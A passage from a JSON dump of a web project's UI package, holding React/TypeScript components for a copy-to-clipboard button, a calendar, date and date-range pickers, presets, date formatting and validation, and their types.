    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport { ReactNode } from \"react\";\nimport { toast } from \"sonner\";\nimport { useCopyToClipboard } from \"./hooks\";\n\nexport function CopyText({\n  value,\n  children,\n  className,\n  successMessage,\n}: {\n  value: string;\n  children: ReactNode;\n  className?: string;\n  successMessage?: string;\n}) {\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  return (\n    <button\n      onClick={(e) => {\n        e.stopPropagation();\n        toast.promise(copyToClipboard(value), {\n          success: successMessage || \"Copied to clipboard!\",\n        });\n      }}\n      type=\"button\"\n      className={cn(\n        \"cursor-copy text-sm text-neutral-700 decoration-dotted underline-offset-2 hover:underline\",\n        copied && \"cursor-default\",\n        className,\n      )}\n    >\n      {children}\n    </button>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/date-picker/calendar.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { addYears, format, isSameMonth } from \"date-fns\";\nimport {\n  ChevronLeft,\n  ChevronRight,\n  ChevronsLeft,\n  ChevronsRight,\n} from \"lucide-react\";\nimport { ElementType, HTMLAttributes, forwardRef, useRef } from \"react\";\nimport {\n  DayPicker,\n  useDayPicker,\n  useDayRender,\n  useNavigation,\n  type DayPickerRangeProps,\n  type DayPickerSingleProps,\n  type DayProps,\n  type Matcher,\n} from \"react-day-picker\";\n\ninterface NavigationButtonProps extends HTMLAttributes<HTMLButtonElement> {\n  onClick: () => void;\n  icon: ElementType;\n  disabled?: boolean;\n}\n\nconst NavigationButton = forwardRef<HTMLButtonElement, NavigationButtonProps>(\n  (\n    { onClick, icon: Icon, disabled, ...props }: NavigationButtonProps,\n    forwardedRef,\n  ) => {\n    return (\n      <button\n        ref={forwardedRef}\n        type=\"button\"\n        disabled={disabled}\n        className={cn(\n          \"flex size-7 shrink-0 select-none items-center justify-center rounded border p-1 outline-none transition\",\n          \"border-neutral-200 text-neutral-600 hover:text-neutral-800\",\n          \"hover:bg-neutral-50 active:bg-neutral-100\",\n          \"disabled:pointer-events-none disabled:text-neutral-400\",\n        )}\n        onClick={onClick}\n        {...props}\n      >\n        <Icon className=\"h-full w-full shrink-0\" />\n      </button>\n    );\n  },\n);\n\nNavigationButton.displayName = \"NavigationButton\";\n\ntype OmitKeys<T, K extends keyof T> = {\n  [P in keyof T as P extends K ? never : P]: T[P];\n};\n\ntype KeysToOmit = \"showWeekNumber\" | \"captionLayout\" | \"mode\";\n\ntype SingleProps = OmitKeys<DayPickerSingleProps, KeysToOmit>;\ntype RangeProps = OmitKeys<DayPickerRangeProps, KeysToOmit>;\n\ntype CalendarProps =\n  | ({\n      mode: \"single\";\n    } & SingleProps)\n  | ({\n      mode?: undefined;\n    } & SingleProps)\n  | ({\n      mode: \"range\";\n    } & RangeProps);\n\nfunction Calendar({\n  mode = \"single\",\n  weekStartsOn = 0,\n  numberOfMonths = 1,\n  showYearNavigation = false,\n  disableNavigation,\n  locale,\n  className,\n  classNames,\n  ...props\n}: CalendarProps & { showYearNavigation?: boolean }) {\n  return (\n    <DayPicker\n      mode={mode}\n      weekStartsOn={weekStartsOn}\n      numberOfMonths={numberOfMonths}\n      locale={locale}\n      showOutsideDays={numberOfMonths === 1 ? true : false}\n      className={className}\n      classNames={{\n        months: \"flex space-y-0\",\n        month: \"space-y-4 p-3 w-full\",\n        nav: \"gap-1 flex items-center rounded-full w-full h-full justify-between p-4\",\n        table: \"w-full border-separate border-spacing-y-1\",\n        head_cell: \"w-9 font-medium text-xs text-center text-neutral-400 pb-2\",\n        row: \"w-full\",\n        cell: \"relative p-0 text-center focus-within:relative text-neutral-900\",\n        day: cn(\n          \"relative size-10 rounded-md text-sm text-neutral-900\",\n          \"hover:bg-neutral-100 active:bg-neutral-200 outline outline-offset-2 outline-0 focus-visible:outline-2 outline-blue-500\",\n        ),\n        day_today: \"font-semibold\",\n        day_selected:\n          \"rounded aria-selected:bg-blue-500 aria-selected:text-white\",\n        day_disabled:\n          \"!text-neutral-300 line-through disabled:hover:bg-transparent\",\n        day_outside: \"text-neutral-400\",\n        day_range_middle:\n          \"!rounded-none aria-selected:!bg-blue-100 aria-selected:!text-blue-900\",\n        day_range_start: \"rounded-r-none !rounded-l\",\n        day_range_end: \"rounded-l-none !rounded-r\",\n        day_hidden: \"invisible\",\n        ...classNames,\n      }}\n      components={{\n        IconLeft: () => <ChevronLeft className=\"h-4 w-4\" />,\n        IconRight: () => <ChevronRight className=\"h-4 w-4\" />,\n        Caption: ({ ...props }) => {\n          const {\n            goToMonth,\n            nextMonth,\n            previousMonth,\n            currentMonth,\n            displayMonths,\n          } = useNavigation();\n          const { numberOfMonths, fromDate, toDate } = useDayPicker();\n\n          const displayIndex = displayMonths.findIndex((month) =>\n            isSameMonth(props.displayMonth, month),\n          );\n          const isFirst = displayIndex === 0;\n          const isLast = displayIndex === displayMonths.length - 1;\n\n          const hideNextButton = numberOfMonths > 1 && (isFirst || !isLast);\n          const hidePreviousButton = numberOfMonths > 1 && (isLast || !isFirst);\n\n          const goToPreviousYear = () => {\n            const targetMonth = addYears(currentMonth, -1);\n            if (\n              previousMonth &&\n              (!fromDate || targetMonth.getTime() >= fromDate.getTime())\n            ) {\n              goToMonth(targetMonth);\n            }\n          };\n\n          const goToNextYear = () => {\n            const targetMonth = addYears(currentMonth, 1);\n            if (\n              nextMonth &&\n              (!toDate || targetMonth.getTime() <= toDate.getTime())\n            ) {\n              goToMonth(targetMonth);\n            }\n          };\n\n          return (\n            <div className=\"flex items-center justify-between\">\n              <div className=\"flex items-center gap-1\">\n                {showYearNavigation && !hidePreviousButton && (\n                  <NavigationButton\n                    disabled={\n                      disableNavigation ||\n                      !previousMonth ||\n                      (fromDate &&\n                        addYears(currentMonth, -1).getTime() <\n                          fromDate.getTime())\n                    }\n                    aria-label=\"Go to previous year\"\n                    onClick={goToPreviousYear}\n                    icon={ChevronsLeft}\n                  />\n                )}\n                {!hidePreviousButton && (\n                  <NavigationButton\n                    disabled={disableNavigation || !previousMonth}\n                    aria-label=\"Go to previous month\"\n                    onClick={() => previousMonth && goToMonth(previousMonth)}\n                    icon={ChevronLeft}\n                  />\n                )}\n              </div>\n\n              <div\n                role=\"presentation\"\n                aria-live=\"polite\"\n                className=\"text-sm font-medium capitalize tabular-nums text-neutral-900\"\n              >\n                {format(props.displayMonth, \"LLLL yyy\", { locale })}\n              </div>\n\n              <div className=\"flex items-center gap-1\">\n                {!hideNextButton && (\n                  <NavigationButton\n                    disabled={disableNavigation || !nextMonth}\n                    aria-label=\"Go to next month\"\n                    onClick={() => nextMonth && goToMonth(nextMonth)}\n                    icon={ChevronRight}\n                  />\n                )}\n                {showYearNavigation && !hideNextButton && (\n                  <NavigationButton\n                    disabled={\n                      disableNavigation ||\n                      !nextMonth ||\n                      (toDate &&\n                        addYears(currentMonth, 1).getTime() > toDate.getTime())\n                    }\n                    aria-label=\"Go to next year\"\n                    onClick={goToNextYear}\n                    icon={ChevronsRight}\n                  />\n                )}\n              </div>\n            </div>\n          );\n        },\n        Day: ({ date, displayMonth }: DayProps) => {\n          const buttonRef = useRef<HTMLButtonElement>(null!);\n          const { activeModifiers, buttonProps, divProps, isButton, isHidden } =\n            useDayRender(date, displayMonth, buttonRef);\n\n          const { selected, today, disabled, range_middle } = activeModifiers;\n\n          if (isHidden) return <></>;\n\n          if (!isButton) {\n            return (\n              <div\n                {...divProps}\n                className={cn(\n                  \"flex items-center justify-center\",\n                  divProps.className,\n                )}\n              />\n            );\n          }\n\n          const { children: buttonChildren, ...buttonPropsRest } = buttonProps;\n\n          return (\n            <button ref={buttonRef} {...buttonPropsRest} type=\"button\">\n              {buttonChildren}\n              {today && (\n                <span\n                  className={cn(\n                    \"absolute inset-x-1/2 bottom-1.5 h-0.5 w-4 -translate-x-1/2 rounded-[2px]\",\n                    {\n                      \"bg-blue-500\": !selected,\n                      \"!bg-white\": selected,\n                      \"!bg-blue-400\": selected && range_middle,\n                      \"text-neutral-400\": disabled,\n                    },\n                  )}\n                />\n              )}\n            </button>\n          );\n        },\n      }}\n      {...(props as SingleProps & RangeProps)}\n    />\n  );\n}\n\nexport { Calendar, type Matcher };\n"
  },
  {
    "path": "packages/ui/src/date-picker/date-picker.tsx",
    "content": "import { enUS } from \"date-fns/locale\";\nimport { ReactElement, useEffect, useState } from \"react\";\nimport { Popover } from \"../popover\";\nimport { Calendar as CalendarPrimitive } from \"./calendar\";\nimport { DatePickerContext, formatDate } from \"./shared\";\nimport { Trigger } from \"./trigger\";\nimport { PickerProps } from \"./types\";\n\nexport type DatePickerTriggerRenderProps = {\n  displayValue: string | null;\n  placeholder: string;\n  open: boolean;\n  disabled?: boolean;\n  invalid?: boolean;\n};\n\nexport type DatePickerProps = {\n  value?: Date | null;\n  defaultValue?: Date | null;\n  onChange?: (date: Date | undefined) => void;\n  /** Custom trigger element. Receives displayValue, placeholder, open, and disabled. Must return a single React element (e.g. <button>) so the popover can attach open behavior. */\n  trigger?: (props: DatePickerTriggerRenderProps) => ReactElement;\n  invalid?: boolean;\n} & PickerProps;\n\nexport function DatePicker({\n  value,\n  defaultValue,\n  onChange,\n  trigger: customTrigger,\n  disabled,\n  disableNavigation,\n  disabledDays,\n  showYearNavigation = false,\n  locale = enUS,\n  placeholder = \"Select date\",\n  hasError,\n  invalid,\n  align = \"center\",\n  className,\n  ...props\n}: DatePickerProps) {\n  const [open, setOpen] = useState(false);\n  const [selected, setSelected] = useState<Date | undefined>(\n    value ?? defaultValue ?? undefined,\n  );\n\n  useEffect(() => {\n    setSelected(value ?? undefined);\n  }, [value]);\n\n  const onSelect = (date: Date | undefined) => {\n    setSelected(date);\n    onChange?.(date);\n    setOpen(false);\n  };\n\n  const displayValue = selected ? formatDate(selected, locale) : null;\n\n  return (\n    <DatePickerContext.Provider value={{ isOpen: open, setIsOpen: setOpen }}>\n      <Popover\n        align={align}\n        openPopover={open}\n        setOpenPopover={setOpen}\n        popoverContentClassName=\"rounded-xl\"\n        content={\n          <div className=\"flex w-full\">\n            <CalendarPrimitive\n              mode=\"single\"\n              selected={selected}\n              onSelect={onSelect}\n              disabled={disabledDays}\n              disableNavigation={disableNavigation}\n              showYearNavigation={showYearNavigation}\n              locale={locale}\n              className=\"p-3\"\n              {...props}\n            />\n          </div>\n        }\n      >\n        {customTrigger ? (\n          customTrigger({\n            displayValue,\n            placeholder,\n            open,\n            disabled,\n            invalid,\n          })\n        ) : (\n          <Trigger\n            placeholder={placeholder}\n            disabled={disabled}\n            className={className}\n            hasError={hasError}\n            aria-required={props.required || props[\"aria-required\"]}\n            aria-invalid={props[\"aria-invalid\"]}\n            aria-label={props[\"aria-label\"]}\n            aria-labelledby={props[\"aria-labelledby\"]}\n          >\n            {displayValue}\n          </Trigger>\n        )}\n      </Popover>\n    </DatePickerContext.Provider>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/date-picker/date-range-picker.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { endOfDay, isSameDay, startOfDay } from \"date-fns\";\nimport { enUS } from \"date-fns/locale\";\nimport { PropsWithChildren, useEffect, useMemo, useRef, useState } from \"react\";\nimport { SelectRangeEventHandler } from \"react-day-picker\";\nimport {\n  useKeyboardShortcut,\n  useMediaQuery,\n  useScrollProgress,\n} from \"../hooks\";\nimport { Popover } from \"../popover\";\nimport { Calendar as CalendarPrimitive } from \"./calendar\";\nimport { Presets } from \"./presets\";\nimport { DatePickerContext, formatDate, validatePresets } from \"./shared\";\nimport { Trigger } from \"./trigger\";\nimport { DateRange, DateRangePreset, PickerProps } from \"./types\";\n\ntype RangeDatePickerProps = {\n  presets?: DateRangePreset[];\n  presetId?: DateRangePreset[\"id\"];\n  defaultValue?: DateRange;\n  value?: DateRange;\n  onChange?: (dateRange?: DateRange, preset?: DateRangePreset) => void;\n} & PickerProps;\n\nconst DateRangePickerInner = ({\n  value,\n  defaultValue,\n  presetId,\n  onChange,\n  presets,\n  disabled,\n  disableNavigation,\n  disabledDays,\n  showYearNavigation = false,\n  locale = enUS,\n  placeholder = \"Select date range\",\n  hasError,\n  align = \"center\",\n  className,\n  ...props\n}: RangeDatePickerProps) => {\n  const { isDesktop } = useMediaQuery();\n\n  const [open, setOpen] = useState(false);\n  const [preset, setPreset] = useState<DateRangePreset | undefined>(\n    presets && presetId\n      ? presets?.find(({ id }) => id === presetId)\n      : undefined,\n  );\n  const [range, setRange] = useState<DateRange | undefined>(\n    preset?.dateRange ?? value ?? defaultValue ?? undefined,\n  );\n  const [month, setMonth] = useState<Date | undefined>(range?.to);\n\n  const initialRange = useMemo(() => {\n    return range;\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [open]);\n\n  // Update internal state when value prop changes\n  useEffect(() => {\n    setRange(value);\n  }, [value]);\n\n  // Update internal state when preset props change\n  useEffect(() => {\n    const p = presets?.find(({ id }) => id === presetId);\n    setPreset(p);\n    setRange(p?.dateRange ?? value ?? defaultValue);\n  }, [presets, presetId]);\n\n  useEffect(() => {\n    if (!open) setMonth(range?.to);\n    else if (range) setMonth(range.to);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [open]);\n\n  const onCalendarSelect: SelectRangeEventHandler = (\n    selectedRange,\n    selectedDay,\n  ) => {\n    // We can hopefully simplify this in the future (see https://dub.sh/ueboa6U)\n    const newRange =\n      range?.from && range?.to ? { from: selectedDay } : selectedRange;\n\n    // Handle same-day selection: set start of day and end of day with local timezone\n    if (\n      newRange?.from &&\n      newRange?.to &&\n      isSameDay(newRange.from, newRange.to)\n    ) {\n      newRange.from = startOfDay(newRange.from);\n      newRange.to = endOfDay(newRange.to);\n    }\n\n    setRange(newRange);\n    setPreset(undefined);\n    if (newRange?.from && newRange?.to) {\n      onChange?.(newRange);\n      setOpen(false);\n    }\n  };\n\n  const onPresetSelected = (preset: DateRangePreset) => {\n    let adjustedDateRange = preset.dateRange;\n\n    // Handle same-day selection for presets: set start of day and end of day with local timezone\n    if (\n      adjustedDateRange?.from &&\n      adjustedDateRange?.to &&\n      isSameDay(adjustedDateRange.from, adjustedDateRange.to)\n    ) {\n      adjustedDateRange = {\n        from: startOfDay(adjustedDateRange.from),\n        to: endOfDay(adjustedDateRange.to),\n      };\n    }\n\n    setRange(adjustedDateRange);\n    setPreset(preset);\n    onChange?.(adjustedDateRange, preset);\n    setOpen(false);\n  };\n\n  const onCancel = () => {\n    setRange(initialRange);\n    setOpen(false);\n  };\n\n  const onOpenChange = (open: boolean) => {\n    if (!open) onCancel();\n\n    setOpen(open);\n  };\n\n  const displayRange = useMemo(() => {\n    if (!range) return null;\n\n    return `${range.from ? formatDate(range.from, locale) : \"\"} - ${\n      range.to ? formatDate(range.to, locale) : \"\"\n    }`;\n  }, [range, locale]);\n\n  useKeyboardShortcut(\n    (presets\n      ?.filter((preset) => preset.shortcut)\n      .map((preset) => preset.shortcut) as string[]) ?? [],\n    (e) => {\n      const preset = presets?.find((preset) => preset.shortcut === e.key);\n      if (preset) onPresetSelected(preset);\n    },\n  );\n\n  return (\n    <DatePickerContext.Provider value={{ isOpen: open, setIsOpen: setOpen }}>\n      <Popover\n        align={align}\n        openPopover={open}\n        setOpenPopover={onOpenChange}\n        popoverContentClassName=\"rounded-xl\"\n        content={\n          <div className=\"flex w-full\">\n            <div className=\"scrollbar-hide relative flex w-full flex-col overflow-x-scroll sm:flex-row-reverse sm:items-start\">\n              {presets && presets.length > 0 && (\n                <PresetScrollContainer>\n                  <div className=\"absolute px-3 sm:inset-0 sm:left-0\">\n                    <div className=\"sm:py-3\">\n                      <Presets\n                        currentPresetId={presetId}\n                        currentValue={range}\n                        presets={presets}\n                        onSelect={onPresetSelected}\n                      />\n                    </div>\n                  </div>\n                </PresetScrollContainer>\n              )}\n              <div className=\"scrollbar-hide overflow-x-scroll\">\n                <CalendarPrimitive\n                  mode=\"range\"\n                  selected={range}\n                  onSelect={onCalendarSelect}\n                  month={month}\n                  onMonthChange={setMonth}\n                  numberOfMonths={isDesktop ? 2 : 1}\n                  disabled={disabledDays}\n                  disableNavigation={disableNavigation}\n                  showYearNavigation={showYearNavigation}\n                  locale={locale}\n                  className=\"scrollbar-hide overflow-x-scroll\"\n                  classNames={{\n                    months:\n                      \"flex flex-row divide-x divide-neutral-200 overflow-x-scroll scrollbar-hide\",\n                  }}\n                  {...props}\n                />\n              </div>\n            </div>\n          </div>\n        }\n      >\n        <Trigger\n          placeholder={placeholder}\n          disabled={disabled}\n          className={className}\n          hasError={hasError}\n          aria-required={props.required || props[\"aria-required\"]}\n          aria-invalid={props[\"aria-invalid\"]}\n          aria-label={props[\"aria-label\"]}\n          aria-labelledby={props[\"aria-labelledby\"]}\n        >\n          {preset?.label ?? displayRange}\n        </Trigger>\n      </Popover>\n    </DatePickerContext.Provider>\n  );\n};\n\nexport function DateRangePicker({ presets, ...props }: RangeDatePickerProps) {\n  if (presets) validatePresets(presets, props);\n\n  return <DateRangePickerInner presets={presets} {...props} />;\n}\n\nfunction PresetScrollContainer({ children }: PropsWithChildren) {\n  const ref = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(ref);\n  return (\n    <div className=\"relative sm:h-full\">\n      <div\n        ref={ref}\n        onScroll={updateScrollProgress}\n        className={cn(\n          \"relative flex h-16 w-full items-center sm:h-full sm:w-48\",\n          \"border-b border-neutral-200 sm:border-b-0 sm:border-l\",\n          \"scrollbar-hide overflow-auto\",\n        )}\n      >\n        {children}\n      </div>\n      {/* Bottom scroll fade */}\n      <div\n        className=\"pointer-events-none absolute bottom-0 left-0 hidden h-16 w-full rounded-b-lg bg-gradient-to-t from-white sm:block\"\n        style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/date-picker/index.ts",
    "content": "export * from \"./calendar\";\nexport * from \"./date-picker\";\nexport * from \"./date-range-picker\";\nexport { DatePickerContext } from \"./shared\";\n"
  },
  {
    "path": "packages/ui/src/date-picker/presets.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { Command } from \"cmdk\";\nimport { Lock } from \"lucide-react\";\nimport { Tooltip } from \"../tooltip\";\nimport { DatePreset, DateRange, DateRangePreset, Preset } from \"./types\";\n\ntype PresetsProps<TPreset extends Preset, TValue> = {\n  presets: TPreset[];\n  onSelect: (preset: TPreset) => void;\n  currentValue?: TValue;\n  currentPresetId?: string;\n};\n\nconst Presets = <TPreset extends Preset, TValue>({\n  // Available preset configurations\n  presets,\n  // Event handler when a preset is selected\n  onSelect,\n  // Currently selected preset range value\n  currentValue,\n  // Currently selected preset id\n  currentPresetId,\n}: PresetsProps<TPreset, TValue>) => {\n  const isDateRangePresets = (preset: any): preset is DateRangePreset =>\n    \"dateRange\" in preset;\n\n  const isDatePresets = (preset: any): preset is DatePreset => \"date\" in preset;\n\n  const compareDates = (date1: Date, date2: Date) =>\n    date1.getDate() === date2.getDate() &&\n    date1.getMonth() === date2.getMonth() &&\n    date1.getFullYear() === date2.getFullYear();\n\n  const compareRanges = (range1: DateRange, range2: DateRange) => {\n    const from1 = range1.from;\n    const from2 = range2.from;\n\n    let equalFrom = false;\n\n    if (from1 && from2) {\n      const sameFrom = compareDates(from1, from2);\n\n      if (sameFrom) equalFrom = true;\n    }\n\n    const to1 = range1.to;\n    const to2 = range2.to;\n\n    let equalTo = false;\n\n    if (to1 && to2) {\n      const sameTo = compareDates(to1, to2);\n\n      if (sameTo) equalTo = true;\n    }\n\n    return equalFrom && equalTo;\n  };\n\n  const matchesCurrent = (preset: TPreset) => {\n    if (currentPresetId) {\n      return currentPresetId === preset.id;\n    }\n\n    if (isDateRangePresets(preset)) {\n      const value = currentValue as DateRange | undefined;\n\n      return value && compareRanges(value, preset.dateRange);\n    } else if (isDatePresets(preset)) {\n      const value = currentValue as Date | undefined;\n\n      return value && compareDates(value, preset.date);\n    }\n\n    return false;\n  };\n\n  return (\n    <Command\n      className=\"w-full rounded ring-neutral-200 ring-offset-2 focus:outline-none\"\n      tabIndex={0}\n      autoFocus\n      loop\n    >\n      <Command.List className=\"[&>*]:flex [&>*]:w-full [&>*]:items-start [&>*]:gap-x-2 [&>*]:gap-y-0.5 [&>*]:sm:flex-col\">\n        {presets.map((preset, index) => {\n          return (\n            <Command.Item\n              key={index}\n              disabled={preset.requiresUpgrade}\n              onSelect={() => onSelect(preset)}\n              title={preset.label}\n              value={preset.id}\n              className={cn(\n                \"group relative flex cursor-pointer items-center justify-between overflow-hidden text-ellipsis whitespace-nowrap rounded border border-neutral-200\",\n                \"px-2.5 py-1.5 text-left text-sm text-neutral-700 shadow-sm outline-none sm:w-full sm:border-none sm:py-2 sm:shadow-none\",\n                \"disabled:pointer-events-none disabled:opacity-50\",\n                \"sm:data-[selected=true]:bg-neutral-100\",\n                matchesCurrent(preset) && \"font-semibold text-neutral-800\",\n              )}\n            >\n              <span>{preset.label}</span>\n              {preset.requiresUpgrade ? (\n                <Lock className=\"h-3.5 w-3.5\" aria-hidden=\"true\" />\n              ) : preset.shortcut ? (\n                <kbd className=\"text-neutral-4000 hidden rounded bg-neutral-100 px-2 py-0.5 text-xs font-light group-data-[selected=true]:bg-neutral-200 md:block\">\n                  {preset.shortcut.toUpperCase()}\n                </kbd>\n              ) : null}\n              {preset.requiresUpgrade && preset.tooltipContent && (\n                <Tooltip side=\"bottom\" content={preset.tooltipContent}>\n                  <div className=\"absolute inset-0 cursor-not-allowed\"></div>\n                </Tooltip>\n              )}\n            </Command.Item>\n          );\n        })}\n      </Command.List>\n    </Command>\n  );\n};\n\nPresets.displayName = \"DatePicker.Presets\";\n\nexport { Presets };\n"
  },
  {
    "path": "packages/ui/src/date-picker/shared.ts",
    "content": "import { Locale, format } from \"date-fns\";\nimport { Dispatch, SetStateAction, createContext } from \"react\";\nimport { DatePreset, DateRangePreset, PickerProps } from \"./types\";\n\nexport const DatePickerContext = createContext<{\n  isOpen: boolean;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n}>({\n  isOpen: false,\n  setIsOpen: () => {},\n});\n\nconst isBrowserLocaleClockType24h = () => {\n  const language =\n    typeof window !== \"undefined\" ? window.navigator.language : \"en-US\";\n\n  const hr = new Intl.DateTimeFormat(language, {\n    hour: \"numeric\",\n  }).format();\n\n  return Number.isInteger(Number(hr));\n};\n\nexport const formatDate = (\n  date: Date,\n  locale: Locale,\n  includeTime = false,\n): string => {\n  const usesAmPm = !isBrowserLocaleClockType24h();\n  let dateString: string;\n\n  if (includeTime) {\n    dateString = usesAmPm\n      ? format(date, `d MMM, yyyy h:mm a`, { locale })\n      : format(date, `d MMM, yyyy HH:mm`, { locale });\n  } else {\n    dateString = format(date, `d MMM, yyyy`, { locale });\n  }\n\n  return dateString;\n};\n\nexport const validatePresets = (\n  presets: DateRangePreset[] | DatePreset[],\n  rules: PickerProps,\n) => {\n  const { toYear, fromYear, fromMonth, toMonth, fromDay, toDay } = rules;\n\n  if (presets && presets.length > 0) {\n    const fromYearToUse = fromYear;\n    const toYearToUse = toYear;\n\n    presets.forEach((preset) => {\n      if (\"date\" in preset) {\n        const presetYear = preset.date.getFullYear();\n\n        if (fromYear && presetYear < fromYear) {\n          throw new Error(\n            `Preset ${preset.label} is before fromYear ${fromYearToUse}.`,\n          );\n        }\n\n        if (toYear && presetYear > toYear) {\n          throw new Error(\n            `Preset ${preset.label} is after toYear ${toYearToUse}.`,\n          );\n        }\n\n        if (fromMonth) {\n          const presetMonth = preset.date.getMonth();\n\n          if (presetMonth < fromMonth.getMonth()) {\n            throw new Error(\n              `Preset ${preset.label} is before fromMonth ${fromMonth}.`,\n            );\n          }\n        }\n\n        if (toMonth) {\n          const presetMonth = preset.date.getMonth();\n\n          if (presetMonth > toMonth.getMonth()) {\n            throw new Error(\n              `Preset ${preset.label} is after toMonth ${toMonth}.`,\n            );\n          }\n        }\n\n        if (fromDay) {\n          const presetDay = preset.date.getDate();\n\n          if (presetDay < fromDay.getDate()) {\n            throw new Error(\n              `Preset ${preset.label} is before fromDay ${fromDay}.`,\n            );\n          }\n        }\n\n        if (toDay) {\n          const presetDay = preset.date.getDate();\n\n          if (presetDay > toDay.getDate()) {\n            throw new Error(\n              `Preset ${preset.label} is after toDay ${format(\n                toDay,\n                \"MMM dd, yyyy\",\n              )}.`,\n            );\n          }\n        }\n      }\n\n      if (\"dateRange\" in preset) {\n        const presetFromYear = preset.dateRange.from?.getFullYear();\n        const presetToYear = preset.dateRange.to?.getFullYear();\n\n        if (presetFromYear && fromYear && presetFromYear < fromYear) {\n          throw new Error(\n            `Preset ${preset.label}'s 'from' is before fromYear ${fromYearToUse}.`,\n          );\n        }\n\n        if (presetToYear && toYear && presetToYear > toYear) {\n          throw new Error(\n            `Preset ${preset.label}'s 'to' is after toYear ${toYearToUse}.`,\n          );\n        }\n\n        if (fromMonth) {\n          const presetMonth = preset.dateRange.from?.getMonth();\n\n          if (presetMonth && presetMonth < fromMonth.getMonth()) {\n            throw new Error(\n              `Preset ${preset.label}'s 'from' is before fromMonth ${format(\n                fromMonth,\n                \"MMM, yyyy\",\n              )}.`,\n            );\n          }\n        }\n\n        if (toMonth) {\n          const presetMonth = preset.dateRange.to?.getMonth();\n\n          if (presetMonth && presetMonth > toMonth.getMonth()) {\n            throw new Error(\n              `Preset ${preset.label}'s 'to' is after toMonth ${format(\n                toMonth,\n                \"MMM, yyyy\",\n              )}.`,\n            );\n          }\n        }\n\n        if (fromDay) {\n          const presetDay = preset.dateRange.from?.getDate();\n\n          if (presetDay && presetDay < fromDay.getDate()) {\n            throw new Error(\n              `Preset ${preset.dateRange.from}'s 'from' is before fromDay ${format(fromDay, \"MMM dd, yyyy\")}.`,\n            );\n          }\n        }\n\n        if (toDay) {\n          const presetDay = preset.dateRange.to?.getDate();\n\n          if (presetDay && presetDay > toDay.getDate()) {\n            throw new Error(\n              `Preset ${preset.label}'s 'to' is after toDay ${format(\n                toDay,\n                \"MMM dd, yyyy\",\n              )}.`,\n            );\n          }\n        }\n      }\n    });\n  }\n};\n"
  },
  {
    "path": "packages/ui/src/date-picker/trigger.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { VariantProps, cva } from \"class-variance-authority\";\nimport { Calendar, ChevronDown } from \"lucide-react\";\nimport { ComponentProps, forwardRef } from \"react\";\n\nconst triggerStyles = cva(\n  [\n    \"group peer flex appearance-none items-center gap-x-2 truncate rounded-md border px-3 h-10 outline-none transition-all text-sm\",\n    \"bg-white border-neutral-200 text-neutral-900 placeholder-neutral-400 transition-all\",\n    \"cursor-pointer disabled:cursor-not-allowed\",\n    \"disabled:bg-neutral-100 disabled:text-neutral-400\",\n    \"focus-visible:border-neutral-500 data-[state=open]:border-neutral-500 data-[state=open]:ring-4 data-[state=open]:ring-neutral-200\",\n    //\" aria-[invalid=true]:ring-2 aria-[invalid=true]:ring-red-200 aria-[invalid=true]:border-red-500 invalid:ring-2 invalid:ring-red-200 invalid:border-red-500\",\n  ],\n  {\n    variants: {\n      hasError: {\n        true: \"ring-2 ring-red-200 border-red-500\",\n      },\n    },\n  },\n);\n\ninterface TriggerProps\n  extends ComponentProps<\"button\">,\n    VariantProps<typeof triggerStyles> {\n  placeholder?: string;\n}\n\nconst Trigger = forwardRef<HTMLButtonElement, TriggerProps>(\n  (\n    {\n      className,\n      children,\n      placeholder,\n      hasError,\n      disabled,\n      ...props\n    }: TriggerProps,\n    forwardedRef,\n  ) => {\n    return (\n      <button\n        ref={forwardedRef}\n        className={cn(triggerStyles({ hasError }), className)}\n        disabled={disabled}\n        {...props}\n      >\n        <Calendar className=\"h-4 w-4 shrink-0\" />\n        <span className=\"flex-1 overflow-hidden text-ellipsis whitespace-nowrap text-left\">\n          {children ? (\n            children\n          ) : placeholder ? (\n            <span className=\"text-neutral-400\">{placeholder}</span>\n          ) : null}\n        </span>\n        <ChevronDown\n          className={`h-4 w-4 flex-shrink-0 text-neutral-400 transition-transform duration-75 group-data-[state=open]:rotate-180`}\n        />\n      </button>\n    );\n  },\n);\n\nTrigger.displayName = \"DatePicker.Trigger\";\n\nexport { Trigger };\n"
  },
  {
    "path": "packages/ui/src/date-picker/types.ts",
    "content": "import { Locale } from \"date-fns\";\nimport { ReactNode } from \"react\";\nimport { Matcher } from \"react-day-picker\";\nimport { PopoverProps } from \"../popover\";\n\nexport type CalendarProps = {\n  fromYear?: number;\n  toYear?: number;\n  fromMonth?: Date;\n  toMonth?: Date;\n  fromDay?: Date;\n  toDay?: Date;\n  fromDate?: Date;\n  toDate?: Date;\n  locale?: Locale;\n};\n\nexport interface PickerProps extends CalendarProps {\n  className?: string;\n  disabled?: boolean;\n  disabledDays?: Matcher | Matcher[] | undefined;\n  required?: boolean;\n  showTimePicker?: boolean;\n  placeholder?: string;\n  showYearNavigation?: boolean;\n  disableNavigation?: boolean;\n  hasError?: boolean;\n  id?: string;\n  align?: PopoverProps[\"align\"];\n  \"aria-invalid\"?: boolean;\n  \"aria-label\"?: string;\n  \"aria-labelledby\"?: string;\n  \"aria-required\"?: boolean;\n}\n\nexport type DateRange = {\n  from: Date | undefined;\n  to?: Date | undefined;\n};\n\nexport interface Preset {\n  id: string;\n  label: string;\n  requiresUpgrade?: boolean;\n  tooltipContent?: ReactNode;\n  shortcut?: string;\n}\n\nexport interface DatePreset extends Preset {\n  date: Date;\n}\n\nexport interface DateRangePreset extends Preset {\n  dateRange: DateRange;\n}\n"
  },
  {
    "path": "packages/ui/src/dots-pattern.tsx",
